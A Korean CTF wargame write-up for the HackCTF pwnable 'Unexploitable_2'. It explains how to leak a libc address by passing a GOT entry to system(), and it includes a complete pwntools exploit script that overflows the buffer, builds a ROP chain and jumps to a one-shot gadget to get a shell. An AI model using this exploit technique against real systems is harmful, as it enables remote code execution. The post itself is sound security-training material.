본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) Unexploitable_2 풀이

by snwo 2021. 5. 3.

이렇게 되어있다. 보호기법은 NX 정도?

leak 하기 위해서는 fwrite 함수를 사용해야한다.

fgets 함수를 실행하고 return할 때, 스택상태이다. rdi, rsi, rdx, rcx 값을 확인해보면, 

rcx 에 stdout 포인터가 남아있지않다. 컨트롤할 수 있는 레지스터는 rdi, rsi 정도인데 흠...

 

근데 system 함수가 주어져있기에, system 함수로 leak 을 할 수 있다.

system함수에 잘못된 명령어가 들어가면, 그 명령어를 출력해주는데, 

got 주소를 인자로 system 함수를 호출하면, got 주소가 출력될 것이다.

 

 

위처럼 페이로드를 짜면 저렇게 출력이 된당.

 

leak 한다음 원샷가젯을 호출하자.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
r=remote("ctf.j0n9hyun.xyz" ,3029)
# r=process("./Unexploitable_2")
 
b=ELF("./Unexploitable_2")
context.log_level='debug'
prdi=0x400773
 
pay=b'x'*0x18
pay+=p64(prdi)
pay+=p64(b.got['__libc_start_main'])
pay+=p64(b.plt['system'])
pay+=p64(b.sym['main']) 
 
r.sendlineafter("\n",pay)
r.recvuntil("sh: 1: ")
base=u64(r.recv(6)+b'\x00\x00')-0x020740
binsh=0x18c58b+base
log.info(hex(base))
 
oneshot=base+0x45216 #0xf1147 #0x4526a  #, 0xf02a4, 
pay2=b'x'*0x18
pay2+=p64(oneshot)
r.sendlineafter("\n",pay2)
r.interactive()
 
cs

 

원래 처음 페이로드 짤 때, p64(b.plt['system']) 위에 p64(prdi+1) (=> ret 가젯, 스택+8 해서 정렬) 를

붙여주었는데, 로되리안에 걸렸다. (나는 18.04 여서 되고, 서버는 아마 16 버전이여서 안됐던 것같다.)

그래서 p64(prdi+1) 을 없애고 했더니 바로 되더라 ;